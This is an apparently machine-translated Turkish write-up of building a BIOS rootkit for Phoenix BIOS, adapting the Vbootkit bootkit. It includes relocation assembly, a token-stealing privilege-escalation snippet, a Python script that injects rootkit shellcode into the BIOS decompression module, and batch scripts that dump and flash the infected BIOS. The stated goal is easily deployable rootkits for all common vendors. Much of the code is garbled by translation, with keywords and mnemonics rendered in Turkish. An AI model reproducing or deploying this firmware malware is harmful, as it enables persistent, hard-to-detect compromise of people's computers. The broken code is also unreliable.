BIOS tabanlı Rootkit

yöntem

Şu anda, bir BIOS rootkit oluşturmak için örnek kod sayısı çok sınırlıdır ve tek genel kod Mart 2009'da BIOS rootkit gösterimi ile piyasaya sürüldü (bildiğim kadarıyla). İlk hedefim Core Security'nin 2009'daki araştırmasının sonuçlarını yeniden üretmekti ve ardından ikinci görevim sonuçlarını nasıl genişletebileceğimi incelemekti. Nihai hedefim, kolayca konuşlandırılabilen bazı BIOS tabanlı rootkit'leri oluşturmaktır.

2009 yılında, önyükleme sektörüne dayalı bir rootkit olan güvenlik alanında da benzer araştırmalar yapılmıştır. BIOS tabanlı rootkitlerden farklı olarak, alan çok hızlı gelişiyor ve bunun sonucunda birçok farklı ana önyükleme kaydı (MBR) rootkit geliştiriliyor ve duyuruluyor. Bu tür bir rootkit, işletim sistemini yüklemeden önce kendini yüklemeyi amaçlayan BIOS tabanlı bir rootkit'e benzeyen "Bootkit" olarak adlandırılır. Bu benzerlik, birçok bootkit geliştiricisinin, bu tür bir saldırıyı MBR'den yüklemek yerine doğrudan BIOS'tan gerçekleştirmenin mümkün olması gerektiğine işaret etmesine neden oldu. Bu fikre rağmen, böyle bir kodun kamuya açık bir örneği yoktur.

Bu projeyi tamamlamanın ilk adımı, BIOS'u değiştirebilen ve hata ayıklayabilen bir test ve geliştirme ortamı oluşturmaktır. Sacco ve Ortega, kalıcı BIOS enfeksiyonları hakkındaki makalelerinde, VMware'in BIOS'un kendisinden uygulamalarda hata ayıklamak için kullanılabilecek bir BIOS ROM ve bir GDB sunucusu içerdiğini nasıl keşfettiklerini anlattılar. VMware'de başarılı olduktan sonra, tamamlanan VMware BIOS modifikasyonunu diğer benzer BIOS platformlarına aktaracağım, bu yazının alt kısmında anlatacağım.

VMware BIOS yapılandırması

Tamam, şimdi bunu yapmak için yeterli arka plan bilgim var!

Gereken ilk adım, BIOS'u VMware'in kendisinden çıkarmaktır. Windows'ta, vmware-vmx.exe yürütülebilir dosyasını açmak için herhangi bir kaynak çıkarıcıyı (Kaynak Korsanlığı) kullanabilirsiniz. Bu uygulamada birçok farklı ikili kaynak paketlenmiştir ve BIOS, kaynak kimliği 6006'da (en azından VMware 7'de) saklanır. Diğer sürümlerde bu farklı olabilir, ancak bulunacak anahtar kaynak dosya boyutunun 512kb olmasıdır. Aşağıdaki resimde Resource Hacker'daki içerik gösterilmektedir:

Bu BIOS görüntüsünü vmware-vmx.exe uygulamasına bağlayın veya her değişiklikten sonra bir vmware yürütülebilir dosyasına değiştirmeden tek başına kullanabilirsiniz. VMware, görüntünün VMX ayarları dosyasında birden çok "gizli" seçeneğin belirtilmesine izin verir. Bir noktada, bu web sitesinin "Araçlar" sayfasına bazı dosyalar kaydetmeyi planlıyorum, çünkü bazı özellikler çok kullanışlı! Aşağıdakiler gibi BIOS değişikliği ve hata ayıklama için kullanışlıdır:

bios440.filename = "BIOS.ROM" debugStub.listen.guest32 = "TRUE" debugStub.hideBreakpoint = "TRUE" monitor.debugOnStartGuest32 = "DOĞRU"

İlk ayar, BIOS rom'u vmware-vmx uygulaması yerine doğrudan bir dosyadan yüklemeye izin verir. Aşağıdaki iki satır yerleşik GDB sunucusunu etkinleştirir. Görüntü her çalıştığında, sunucu 8832 numaralı bağlantı noktasındaki bağlantıları dinleyecektir. Son satır, VMware'e konuk görüntü BIOS'unun ilk satırının kod yürütmesini durdurması talimatını verir. Bu çok kullanışlıdır çünkü belleğin herhangi bir BIOS uygulamasından önce tanımlanmasına ve bağlantısının kesilmesine izin verir. Test, GDB istemcisi olarak IDA Pro kullanıyor ve ilk BIOS komutunda durdurulan VMware misafirinin bir örneği aşağıdaki ekran görüntüsünde görülebilir:

Bu test ortamını ilk kullandığımda, IDA ve GDB sunucusu arasındaki bağlantıda büyük bir sorun vardı. Farklı GDB istemcileriyle yapılan birçok deneme yanılma testinden sonra, bunun bir VMware sürüm sorunu olduğu bulundu. 6 ve 6.5 sürümleri IDA'da pek iyi görünmüyordu, bu nedenle testlerin çoğu için VMware 7 kullanıldı. BIOS, IDA'nın varsayılan 32 bit kodlarından değil, 16 bitlik kodlardan oluşur, bu nedenle IDA'nın hata ayıklama seçeneklerinde "manuel bellek alanı" tanımlamanız gerekir. Bu, bellek adreslerinin 16 bitlik kodlar olarak tanımlanmasına ve böylelikle doğru şekilde ayrıştırılmalarına izin verir.

Geçmiş sonuçları yeniden oluşturun - VMware BIOS modifikasyonu

Daha önce de belirtildiği gibi, SaccoOrtega BIOS'ta iki değişiklik yaptı, WojtczukTereshkin de BIOS'ta değişiklik yaptı. Üç demodan yalnızca SaccoOrtega demosu, tanımladığı teknoloji için herhangi bir kaynak kodu veya örnek kod içerir. Mevcut tek örnek bu olduğu için, BIOS tabanlı bir rootkit projesi için başlangıç noktası olarak kullanıldı.

SaccoOrtega'nın makalesi, kurulum ve test tekniklerini açıklamak açısından oldukça kapsamlı. VMware yükleyici, yukarıda açıklandığı gibi tamamlanır, sonraki adım, sağladıkları BIOS değiştirme kodunu uygulamaktır. Sağlanan kodun BIOS ROM'u her bir modüle çıkarması gerekir. VMware'e bağlı BIOS ROM, Phoenix BIOS'tur. Çalışmalar, bu tür BIOS'u, "phxdeco" adlı açık kaynaklı bir aracı ve doğrudan Phoenix Phoenix tarafından sağlanan "Phoenix BIOS Editor" adlı ticari bir aracı kullanarak, iki ana araç olduğunu göstermiştir. SaccoOrtega'nın makalesi, Phoenix BIOS Editor uygulamasının kullanılmasını önerir ve kodları bunu kullanır. İnternetten indirilebilen bir deneme sürümü de vardır ve sayfa proje için gerekli tüm işlevlere sahiptir. Bir indirme bağlantısı bulmak istedim, ancak yarı yasal görünen herhangi bir deneme sürümü bulamadım, ancak Google çeşitli bağlantılar sağlıyor. Yine de bazı yasal deneme sürümlerini bulmanın hala kolay olduğunu düşünüyorum. Aracı kurduktan sonra, bir sonraki adım özel bir BIOS oluşturmaktır.

İlk olarak, VMware logosunun rengini değiştiren ve yürürlüğe giren, VMware'deki BIOS görüntüsünde küçük bir değişikliği test ettim. Ardından, BIOS'u değiştirmek için SaccoOrtega tarafından sağlanan Python derleme komut dosyasını çalıştırdım. Python BIOS montaj komut dosyasındaki bir yazdırma hatası dışında, her şey yolunda ve diske yeni bir BIOS kaydedilir. Ancak, bu BIOS'u VMware'e yüklemek aynı başarıyı sağlamadı VMware, sanal makinenin bir hatayla karşılaştığını ve kapatıldığını belirten bir mesaj görüntüleyecektir. Bu sorunun hata ayıklaması IDA ve GDB'de yapılır, ancak sorunun izini sürmek zordur (ayrıca IDA'nın sürüm sorunları vardır). Daha hızlı çözmek için VMware'in farklı sürümlerini indirdim ve test ortamı SaccoOrtega'nın test ortamına uyacak. Biraz araştırdıktan sonra, kullandıkları VMware'in detaylı versiyonu bulunmuş ve kurulmuştur. Ne yazık ki, bu sorun hala çözülmedi, VMware aynı kilitlenme hatasını bildirdi. Sunumun bir parçası olarak BIOS modifikasyonunun çalıştığını görmeme rağmen, örnek kodlarının herhangi bir test sisteminde çalışmak için ek modifikasyon gerektirdiği artık açık.

SaccoOrtega'nın kodunda hata ayıklayarak birçok farklı şey öğrendim.Sonunda sorun, kullanılan BIOS'un doğru adresi olmayan mutlak bir adrese uzaktan arama yapan bir assembler komutuna indirgenmişti. Doğru adresi girdikten sonra, BIOS kodu başarıyla yürütüldü ve rootkit, değişiklik için sabit sürücüyü aramaya başladı. Bu kodun sabit diski (yalnızca 15 gb) taraması uzun zaman aldı ve sistem başlamadan önce birkaç kez çalıştı. Kavram kodunun kanıtı, başlangıçta bir mesaj görüntülemek için notepad.exe'ye yama yapma veya kök parolayı sabit bir değere ayarlamak için unix sistemlerindeki / etc / passwd dosyasını değiştirme yeteneğini içerir.

Bootkit testi

Proje uzun süredir devam etse de, çeşitli önyükleme kodlarının işlevleri test edilmiş ve yalnızca bir önyükleme seti değil, aynı zamanda BIOS tabanlı bir kök takım olarak hangisinin en uygun olduğunu belirlemek için sonuçlar yeniden oluşturulmuştur. Stoned, Whistler, Vbootkit ve Vbootkit2 bootkit olmak üzere dört farklı önyükleme programı kontrol edildi. Stoned ve Whistler önyükleme setleri, rootkitlerden daha çok kötü amaçlı yazılım gibi çalışacak şekilde tasarlanmıştır ve basit bir kaynak kodu yapısına sahip değildir. Vbootkit2 önyükleme aracı çok farklıdır çünkü kötü amaçlı yazılım olarak tasarlanmamıştır ve (nispeten) iyi bir kaynak koduna sahiptir. Önyükleme kiti bir CD'den çalıştırılmak üzere tasarlanmıştır, ancak yalnızca Windows 7 beta sürümünde test edilmiştir. Windows 7 perakende ile birlikte kullanıldığında, Windows farklı dosya imzaları kullandığı için önyükleme kiti hiç yüklenmez. Yeni dosya imzasını belirlemek, bootkit'in test edilebilmesi için biraz zaman aldı, ancak yine de başarıyla yüklenemiyor. Windows 7'nin beta sürümünün test edilmesine izin vermek için. Vbootkit2 yazılımı bir Windows 7 beta sisteminde çalıştığında, her şey beklendiği gibi çalışır. Vbootkit2 yazılımı, süreci sistem (yöneticilerden daha yüksek) düzeyinde izinlere yükseltme, tuş vuruşlarını yakalama ve kullanıcı parolalarını sıfırlama işlevlerini içerir. Bunlar kök setinde bulunan değerli öğelerdir, ancak uygulamayı Windows 7 perakende sektörüne taşımak hala çok zordur. Ardından Vbootkit yazılımını kontrol edin; Windows 2003, XP ve 2000 ile kullanılmak üzere tasarlanmıştır. CD'den çalıştırılabilecek şekilde paketlenmemiş olmasına rağmen, bu özelliği eklemek için yalnızca küçük değişiklikler gerektirir. Bu yazılım yalnızca işlem izinlerini yükseltme yeteneğini içerse de, bu yalnızca çok değerli bir özelliktir. Bir sonraki bölümde tanıtılacak olan BIOS rootkit için bootkit yazılımı seçilmiştir. NVLabs, bootkit'in kendisinin yazarıdır. Bootkit'e dayandığından, birçok yönden bu projenin ana işlevini temsil eder.Kodu herkese açık yaptığınız için çok teşekkür ederiz! Görünüşe göre kaynak kodları artık web sitelerinde mevcut değil, ancak yine de Archive.org'dan indirilebilir.

BIOS kodu enjeksiyonu

Daha önce test edilen SaccoOrtega'nın konsept kodunun çok kırılgan olduğu kanıtlandı ve işlevi bir rootkit'in gerçekleştirmesi gereken işlem türü değil. Yeni bir rootkit geliştirmenin ilk adımı, BIOS'un ek kod yürütmesi için güçlü bir yöntem geliştirmektir.

SaccoOrtega, sıkıştırılmış olduğu için (böylece diğer her şeyi de sıkıştırabildiği için) BIOSun dekompresyon modülünü yamaladı ve BIOS yüklendiğinde çağrıldı. Bu tür bir mantık mantıklıdır, ancak dll'nin değiştirilmesi gerekir. Normal çalışma sırasında BIOS, var olan her sıkıştırılmış BIOS modülü için dekompresyon modülünü bir kez çağıracaktır. VMware BIOS 22 sıkıştırma modülü içerir, bu nedenle 22 kez açılması gerekir. Bu modül, ara bellek alanında bulunduğu için ek kodumuzun üzerine yazacaktır, bu nedenle ek kodumuzun yerini değiştirmek gerekir.

Kullandığım süreç aşağıdaki adımları içeriyor:

  • Dekompresyon modülünün başlangıcındaki ek kodumuza yeni bir çağrı ekleyin.
  • Tüm ek kodumuzu yeni hafıza bölümüne kopyalayın.
  • Kodumuzun bulunduğu bellekteki yeni konumu işaret etmek için açma modülü çağrısını güncelleyin.
  • Açma modülüne dönün ve yürütmeye devam edin.

Bu işlem, büyük miktarda ek kodun BIOS ROM'a eklenmesine izin verir ve kod belleğe taşındıktan sonra güvenilir bir konumdan çalıştırılır. Yukarıdaki dört adım aşağıda gösterildiği gibi olabilir:

(Mspaint harika)

Bir derleyicide bu sorunu uygulamanın birçok farklı yolu olabilir, ancak amaç, sistemden olabildiğince bağımsız bir kod oluşturmaktır. Bunu başarmak için, tüm mutlak adresleme silinir ve yalnızca yaklaşma çağrıları veya sıçramalar kullanılır. Bu istisna, kullanılabilir bellekteki konumumuza bir referanstır, çünkü bunun sistemden bağımsız olarak sabit bir konum olması beklenir. Aşağıdaki kod yeniden konumlandırmayı işlemek için kullanılan derleme kodudur:

start_mover: Aşağıdaki iki itme talimatı, kayıtların mevcut durumunu yığını. Pusha pushf Tüm kodu segment 0'a taşıyacağımız için segment kayıtları temizlenir. xor ax, ax; (Bu açık olabilir veya olmayabilir, ancak kaydı xor'lamak onu 0 olarak ayarlar). xor di, di xor si, si push cs; Kod segmentini veri segmentine itin, böylece arayan adres kodunun üzerine yazabiliriz pop ds; (CS burada DS'ye taşınır) hareketler, eksen; Hedef segment (0x0000) mov di, 0x8000; Hedef uzaklığı, tüm kod 0x8000'den çalışır mov cx, 0x4fff; Kopyalanacak kodun boyutu, fazladan kopyalamanın hiçbir şeye zarar vermediğini tahmin eder Aşağıdaki çağrı program akış amacına hizmet etmemektedir, ancak çağrı adresine (yani bu kodun ; yığından) yürütüyor. Bu, kodun nerede olursa olsun kendisini genel olarak yamalamasına izin verir. ; hafızada olun. Bu teknik kullanılmamışsa, dekompresyon modülünün hafızada nerede olacağı bilgisi ; önceden yüklenmiş olması gerekir (bu yüzden kodlanmış olabilir), bu her sistem için farklılık gösterdiğinden iyi bir çözüm değildir. b'yi ara b: pop si; Bu, yığının mevcut adresimizi açacaktır (temelde EIP kaydını kopyalamak gibi) si, 0x30 ekleyin; Kodumuzu ne kadar ileriye kopyalamamız gerekiyor rep movsw; Bu, cx 0'a düşürülene kadar movsw komutunu çağırmayı tekrarlayacaktır. ; bitti, kodumuz 0x8000'e kopyalanacak mov ax, word; Bu, orijinal kancayı yamamak için arayan adresini alacaktır alt eksen, 3; Kalan yerden değil, arayan adresin başlangıcına geri dönüş mov bayt, 0x9a; Çağrı işlevinin Yakın Çağrı yerine Uzak Çağrı olarak değiştirilmesi gerekiyor balta ekle, 1; İleride çağrılacak yeni bir adres belirlemek için ilerleyin mov kelimesi, 0x8000; Bu kodun şu adresten çağrılacak yeni adresi mov kelimesi, 0x0000; Yeni segment (0) ; Kod artık yeniden konumlandırıldı ve çağıran işlev yamalandı, böylece her şey geri yüklenebilir ve geri dönebiliriz. popf popa Aşağıdaki talimatlar, DECOMPC0.ROM modülüne yama ile üzerine yazılmıştır, bu yüzden geri dönmeden önce bunları şimdi çalıştırmamız gerekir. mov bx, es mov fs, bx mov ds, balta ret; Yakın bir dönüşle güncellendi

Yukarıdaki kod yürütüldüğünde, kendisini 0x8000 bellek ofsetine kopyalayacak ve orijinal olarak adlandırılan talimatı şimdi 0x8000'i gösterecek şekilde değiştirecektir. Bu kodu başlangıçta test etmek için, yeniden yerleştirilen kod sadece bir rutindir ve ekranda bir "W" gösterecektir (aşağıdaki ekran görüntüsüne bakın). Bununla birlikte, nihai hedef, rootkit kodumuzu çağırabilmektir, bu nedenle bir sonraki değişiklik bu kodu entegre etmektir.

Önceki bölümde bahsedildiği gibi, "VBootkit" yazılımının BIOS'tan yüklenebilecek en uygun rootkit işlevi türü olduğu belirlendi. VBootkit yazılımı orijinal olarak, önyüklenebilir bir CD'den çalıştırılabilmesi için oluşturulmuştur. Bu başlangıç noktası BIOS'tan çalıştırmaya benzer olsa da, bazı temel farklılıklar vardır. Bu farklılıklar esas olarak aşağıdaki gibi önyükleme sürecine dayanır:

BIOS tabanlı rootkit kodumuz, BIOS Giriş ve BIOS yükleme tamamlama aşamaları arasında bir yerde çalışacaktır. Bootkit bellekte 0x7C00'den başlayarak son aşamada çalışacaktır.

VBootkit yazılımı, onu 0x7C00 adresine yüklemek için tasarlanmıştır ve bu sırada 0x9E000 adresine taşınacaktır. Ardından, 0x13'ü askıya alır ve kesintiye uğratır ve ardından sabit sürücünün ilk sektörünü (MBR) 0x7C00 olarak okur, böylece önyükleme seti hiç görünmemiş gibi yürütülebilir. Bu işlemin, tüm sabit kodlu adreslerin değiştirilmesi için değiştirilmesi gerekir (çünkü önyükleme kiti artık 0x7C00'den yürütülmez). Ayrıca, MBR'yi belleğe yüklemeye gerek yoktur çünkü BIOS bunu kendi başına yapacaktır.

VBootkit yazılımı, 0x13 kesmesini kancalar, yani, kesmenin genellikle kendi adresini kullandığı adresin yerini alır ve diğer işlemlerden sonra kesmeyi çağırır. Ek bir değişiklik yapılması gerektiği ortaya çıktı, çünkü BIOS rootkit kodumuz interrupt 0x13 olarak adlandırıldığında hala tam olarak başlatılmamıştı. Dekompresyon modülünün kaç çalışmasının depolandığını sayarak bu sorunun üstesinden gelin. 22 kez (22 modül) çalıştırılmışsa, BIOS tamamen başlatılır ve 0x13 kesintisini güvenli bir şekilde askıya alabiliriz.

Vbootkit yazılımı aşağıdaki süreci izler:

  • İlk kez çağrıldığında, bellekte 0x9E000 olarak yeniden konumlandırılacaktır (daha önce yapılan BIOS yeniden konumlandırmasına benzer şekilde)
  • Sonraki kanca kesintisi 0x13, sabit disk erişim kesintisi
  • Okunan verileri belirlemek için tüm sabit disk etkinliği kontrol edilecektir
  • Windows önyükleyici sabit diskten okunursa, kod bellekte saklanmadan önce önyükleyici değiştirilir
  • Önyükleyicide yapılan değişiklikler, Windows çekirdeğini değiştirmesine neden olur. Bu da Windows çekirdeğine rastgele kodun enjekte edilmesine izin verecek ve böylece ayrıcalık yükseltme işlevlerine izin verecektir.

BIOS enjeksiyonumuz artı bootkit yükleme işlemimiz aşağıdaki gibidir:

Bu değişikliklerin sonucu, önyükleme setini belleğe kopyalayıp BIOS'ta yürütmek, işletim sistemini sabit sürücüden yüklemek ve ardından bazı işlemlerin ek izinlerle çalışması için değiştirilmiş işletim sistemi ile sonlandırmaktır. Aşağıdaki ekran görüntüsü, önyükleyici ve çekirdek bulunduğunda ve önyükleme kodu başarıyla değiştirildiğinde görüntülenen mesajı gösterir:

Bu rootkit için kullanılan kod, "pwn.exe" adlı herhangi bir işlemi kontrol edecek ve bulunursa ona ek izinler verecek şekilde ayarlanmıştır. Bu, her 30 saniyede bir yapılır, bu nedenle izinlerdeki farkı görmek kolaydır. Bu özellik aşağıdaki kodda ve ekran görüntüsünde görülebilir:

xor ecx, ecx mov kelimesi cx, cmp dword, "PWN."; İşlemin PWN.exe olarak adlandırılıp adlandırılmadığını kontrol edin je patchit jne donotpatchtoken; jmp 5 bayt alır ancak bu 2 bayt alır patchit: mov kelimesi cx, mov dword, ebx; services.exe belirteci ile değiştirin, saniye belirteci için uzaklık 200'dür

Geliştirilen BIOS rootkit daha fazla işlev içerebilir (örneğin, Vbootkit2'de bulunan içerik).

BIOS açma ve yama

Artık bir rootkit'i BIOS'a nasıl enjekte edeceğimizi bildiğimize göre, bir sonraki adım BIOS'u rootkit kodumuzla düzeltmektir. Bunu yapmak için, tüm BIOS modüllerini çıkarmamız, açma modülünü onarmamız ve tüm içeriği yeniden paketlememiz gerekir. Modülü çıkarmak için phxdeco komut satırı aracını veya Phoenix BIOS Editor'ı kullanabilirsiniz. Açma modülü çıkarıldıktan sonra, aşağıdaki kod rootkit'imiz ile yamalanacaktır:

#! / usr / bin / python os, struct, sys'i içe aktar ############################################# # BIOS Dekompresyon modülü yama betiği-Yazan Wesley Wineberg # # Phoenix BIOS Editor uygulaması (Windows için) bir dizi modül dosyası oluşturacaktır # "DECOMPC0.ROM" olarak adlandırılacak olan açma modülü dahil. Bu dosyalar # bir BIOS WPH dosyası yüklendikten sonra C: \ Program Files \ Phoenix Bios Editor \ TEMP'e (veya benzerine) kaydedilir. # açıldı. Açma modülü dosyası bu komut dosyasıyla değiştirilebilir. Değiştirildikten sonra, # BIOS düzenleyicideki BIOS modüllerinde herhangi bir değişiklik yapılabilir, böylece yeni bir BIOS WPH dosyası # BIOS editörü tarafından oluşturulabilir. Dekompresyon modülü alternatif olarak # phnxdeco.exe tarafından çıkarıldı, ancak bu yeniden birleştirmeye izin vermiyor. Bu komut dosyası, # NASM'nin çalıştığı sistemde bulunması. # # GİRİŞ: # Bu yama komut dosyası, geçilecek BIOS rootkit asm dosyasının adını ve yolunu gerektirir # komut satırında bir argüman olarak. # # ÇIKTI: # Bu komut dosyası, komut dosyasıyla aynı dizinde bulunan DECOMPC0.ROM dosyasını değiştirecektir # BIOS rootkit asm kodunu çalıştırması için. # Kullanım bilgilerini göster len (sys.argv) ise < 2: yazdır "Phoenix BIOS DECOMP0.ROM modülünü değiştirin ve yeniden oluşturun. Rootkit ASM kodu dosya adı gereklidir!" çıkış (0) # Rootkit kod adını bulun shellcode = sys.argv.lower () # Enjekte edilecek montajcı kodunu birleştirin. NASM'nin sistemde bulunması gerekir # yoksa bu başarısız olur! os.system ('nasm% s'% shellcode) # Derlenen rootkit kodunun boyutunu açın ve görüntüleyin shellcodeout = shellcode decomphook = open (shellcodeout, 'rb'). read () "Rootkit kodu yüklendi:% d bayt"% len (decomphook) yazdır # Sonraki satır, 0x23'e yerleştirilecek ham montaj talimatlarını içerir. dekompresyon rom # dosya. Dekompresyon rom, bir başlık ve ardından bir dizi itme talimatı içerir ve sonra # a CLD talimatı. Bu kod hemen sonrasına eklenecek ve bir sayısı # mov talimatları. Bunların, dönmeden önce rootkit kodu tarafından çağrılması gerekir, böylece # normal dekompresyon işlevleri devam edebilir. # Aşağıda yer alan montajcı talimatı, bir Yakın Çağrının sonuna atlayacak Rootkit kodunun eklendiği # decompression rom. Bunu üç NOP izler # dolgu olarak talimatlar. minihook = '\ xe8 \ x28 \ x04 \ x90 \ x90 \ x90' # Aşağıdakiler işe yarar ama mutlak bir çağrıdır, ideal değil! # minihook = '\ x9a \ x5A \ x04 \ xDC \ x64 \ x90' # uzak ara + 0x45A # Dekompresyon rom dosyasını yükleyin decorom = open ('DECOMPC0.ROM', 'rb'). oku () # Kanca konumu dosyada 0x23, CLD talimatını hemen geçti hookoffset = 0x23 # Kanca içeriklerini dekompresyon romuna yerleştirin, daha önce orada olanların üzerine yazın decorom = decorom + minihook + decorom # Dekompresyon romunu 100 NOP talimatı ile doldurun. Bu gerekli değildir, ancak # değişikliğin nerede gerçekleştiğini belirlemek daha kolay. decorom + = "\ x90" * 100 + decomphook # Sonunda ek 10 NOP doldurun. decorom = decorom + '\ x90' * 10 # Başlığın güncellenebilmesi için ROM boyutunu yeniden hesaplayın decorom = decorom + struct.pack (" < H ", len (decorom) -0x1A) + decorom # Yamalı dekompresyon romunu önceki kopya üzerine kaydedin çıkış = açık ('DECOMPC0.ROM', 'wb') out.write (decorom) out.close () # Çıktı sonuçları print "DECOMPC0.ROM dosyası şimdi yamalandı."

Yukarıdaki komut dosyasının nasıl çağrılacağına bir örnek:

python patchdecomp.py biosrootkit.asm

Her şey yolunda giderse, aşağıdakine benzer bir şey görmelisiniz:

Rootkit kodu yüklendi: 1845 bayt

DECOMPC0.ROM dosyası artık yamanmıştır.

BIOS yeniden düzenleme

VMware'de bulunanlar gibi orijinal BIOS dosyaları için, Phoenix Bios editöründe bulunan (çevrimiçi olarak mevcuttur) birçok komut satırı yardımcı programı her şeyi yeniden birleştirmek için kullanılabilir. Daha sonra, test için gerçek bir PC kullanırken, BIOS'u yedeklemek gerekir, bu nedenle kullanılan yeniden düzenleme aracı Phoenix Bios Editor'ün GUI sürümüdür. Bu, en azından mevcut araçları kullanmadan BIOS bulaşmış bir sistemde çalışabilecek basit bir uygulamanın olamayacağı anlamına gelir.

Bu, BIOS enfeksiyonunun, özellikle yeniden paketleme için bazı manuel işlemler gerektiren üç aşamalı bir süreç olduğu anlamına gelir. Aşağıda, BIOS görüntüsünü açan Phoenix BIOS düzenleyicisi gösterilmektedir:

Phoenix BIOS editörü, modülleri değiştirmek için özel olarak tasarlanmamıştır. BIOS görüntüsü ilk kez açıldığında, tüm BIOS modülleri C: \ Program Files \ Phoenix BIOS Editor \ TEMP \ konumunda bulunan klasöre çıkarılacaktır. Açma modülü bu klasörden kopyalanabilir, yama yapılabilir ve değiştirilebilir. Phoenix BIOS editörü, BIOS'u değiştirmeden BIOS'u kaydetmenize izin vermez, bu yüzden BIOS'un kaydedilebilmesi için dizi değerini değiştirmeniz ve ardından değiştirmeniz (veya doğrudan bırakmanız) gerekir.

Tüm bunları kendiniz denemek istiyorsanız, BIOS tabanlı rootkit kaynak kodu ve yama komut dosyası makalenin sonundaki bağlantıdan indirilebilir.

Fiziksel makine testi

Phoenix BIOS, tüm VMware tabanlı geliştirmelerde kullanıldığından, fiziksel bir PC ile test edilmek üzere de seçilmiştir. Tüm fiziksel (sanal değil) BIOS testleri, HP Pavilion ze4400 dizüstü bilgisayar kullanılarak yapılmıştır. BIOS testi başlangıçta dizüstü bilgisayarlar yerine PC'ler için planlanmıştı, çünkü gerekirse yenileme için PC ana kartına erişmek daha kolay olurdu. Buna rağmen, Phoenix BIOS'a sahip bir bilgisayar bulmak kesinlikle güvenilmezdi, bu yüzden bir dizüstü bilgisayar kullandım (BIOS'umda yanlışlıkla kaynak kodunu yazdığımda dizüstü bilgisayarı yenilediği için David'e özel teşekkürler!)

PC BIOS araması

Gerçek sistem BIOS'unu değiştirmenin ilk adımı, bunun bir kopyasını çıkarmaktır. Phoenix'in iki farklı aracı vardır: Genellikle bunun için bir araç sağlarlar, biri "Phlash16" ve diğeri "WinPhlash" olarak adlandırılır. Phlash16 bir komut satırı yardımcı programıdır (konsol tabanlı bir GUI ile), ancak yalnızca DOS'tan çalıştırılabilir. WinPhlash, adından da anlaşılacağı gibi Windows'tan çalışır. Bu GUI tabanlı bir yardımcı program olmasına rağmen, komut satırı seçeneklerini de kabul ederek BIOS alma sürecini otomatikleştirmemize izin verir. Bu proje için, BIOS çıkarma ve düzeltme işlemlerini otomatik olarak gerçekleştirmek için bazı komut dosyaları oluşturdum, ancak bunların rolü çok basit ve sınırlı.

Aşağıdaki toplu komut dosyası, BIOS'u BIOSORIG.WPH adlı bir dosyaya kopyalar ve daha önce değiştirilip değiştirilmediğini kontrol eder. CheckFlash.py Perl betiği, yamalanmamış herhangi bir BIOS'ta değil, sadece benim adımın BIOS içeriğini kontrol eder.

@rem Bu dosya bios'u döker ve daha önce yama uygulanmış olup olmadığını kontrol eder. @rem dökümü WinPhlash \ WinPhlash.exe /ro=BIOSORIG.WPH @rem BIOS'un zaten yamalanmış olup olmadığını kontrol edin Python \ PortablePython_1.1_py2.6.1 \ App \ python CheckFlash.py WinPhlash \ BIOSORIG.WPH

PC BIOS açma ve yama

BIOS'u aldıktan sonra, bir sonraki adım onu rootkit kodumuzla yamalamaktır. Bu, yukarıdaki bölümde kullanılanla tamamen aynı komut dosyası kullanılarak yapılabilir. Bu projenin amacı, yamaları ve yama sürecini olabildiğince uyumlu tasarlamaktır. Bunun tamamen mümkün olduğunu düşünüyorum, dolayısıyla aynı araç aynı BIOS tipine ve tamamen farklı donanıma sahip makinelerde kullanılabilir.

PC BIOS yeniden montajı

Phoenix BIOS'tan modülleri çıkarabilen ücretsiz bir araç olmasına rağmen, yalnızca Phoenix Bios editörü gerektiğinde tipik bir bilgisayarı yeniden birleştirebilir gibi görünüyor. WinPhlash aracı, BIOS'tan ek bilgi gerektirir ve BIOS, orijinal BIOS ile birlikte WPH dosyasında saklanacaktır. Birçok farklı seçeneği test ettikten sonra, WPH dosyasını başarılı bir şekilde yeniden birleştirmenin tek yolunun GUI Phoenix Bios Editor'ı kullanmak olduğu görülüyor. Bu, en azından mevcut araçları kullanmadan BIOS'a bulaşacak bir sistemde çalışabilen bir uygulamaya sahip olmanın imkansız olduğu anlamına gelir.

Teorik olarak, WPH format dosyasını tersine çevirmek ve özel bir BIOS yeniden yapılandırma aracı oluşturmak mümkün olmalıdır, ancak bu, bu projenin kapsamında değildir. Aksine, BIOS enfeksiyonu, esas olarak yeniden birleştirme için bazı manuel işlemler gerektiren üç aşamalı bir süreçtir.

VMware BIOS'a yama uygulamak gibi, yama modülünü yeniden birleştirmek için Phoenix BIOS editörünü kullanabilirsiniz. BIOS görüntüsü ilk kez açıldığında, tüm BIOS modülleri C: \ Program Files \ Phoenix BIOS Editor \ TEMP \ konumunda bulunan klasöre çıkarılacaktır. Açma modülü bu klasörden kopyalanabilir, yama yapılabilir ve değiştirilebilir. Phoenix BIOS editörü, BIOS'u değiştirmeden BIOS'u kaydetmenize izin vermez, bu nedenle, BIOS'un kaydedilebilmesi için dizi değerini değiştirmeniz ve ardından değiştirmeniz (veya doğrudan bırakmanız) gerekir.

BIOS Yükseltme

BIOS WPH dosyasına yeniden birleştirildikten sonra, aşağıdaki toplu komut dosyası yeni BIOS görüntüsünü BIOS EEPROM'a yükleyecek ve ardından etkinleşmesi için bilgisayarı yeniden başlatacaktır:

@rem Bu dosya BIOS'a "BIOSPATCHED.WPH" adlı bir dosya yükler. Tamamlandığında sistemi yeniden başlatacaktır. WinPhlash \ WinPhlash.exe /bu=BIOSBACKUP.WPH / I BIOSPATCHED.WPH

Not defteri değişiklik sonuçları

Açıklanan tüm şeyler bir araya getirildiğinde, aşağıda dizüstü bilgisayarda BIOS kodu Flashing gösterilmektedir (yukarıda ayrıntılı olarak açıklanan infect.bat betiğinden çalıştırın):

Yanıp sönme tamamlandıktan sonra, BIOS rootkit başarıyla çalışır ve Windows çekirdeğine yüklenir. Aşağıdaki ekran görüntüsü, başlangıçta normal bir kullanıcı olarak başlatılan ve ardından 30 saniye sonra izinlerini yükselten bir komut istemini gösterir:

Bu, BIOS rootkit'in birden fazla sistemde (VMware, HP dizüstü bilgisayarlar) çalışmak için yeterince uygun olduğunu ve bulaşma mekanizmasının normal ve çalışıyor olduğunu gösterir.

Bu proje için geliştirilen "rootkit" yalnızca basit bir görevi yerine getirir, ancak Vbootkit2 yazılımının açıklamasıyla ilgili olarak ek işlevler ekleyebiliriz. Phoenix tarafından üretilen BIOS bu proje ile yeniden oluşturulmuştur.Phoenix BIOS ve diğer üreticilerin BIOS'ları arasında pek çok benzerlik vardır. Her üretici için ayrı kod oluşturmak gerekli olsa da, çok sayıda farklı BIOS satıcısı olmadığından, bu rootkit işlevini tüm yaygın üreticilere genişletmek uygun olmalıdır.

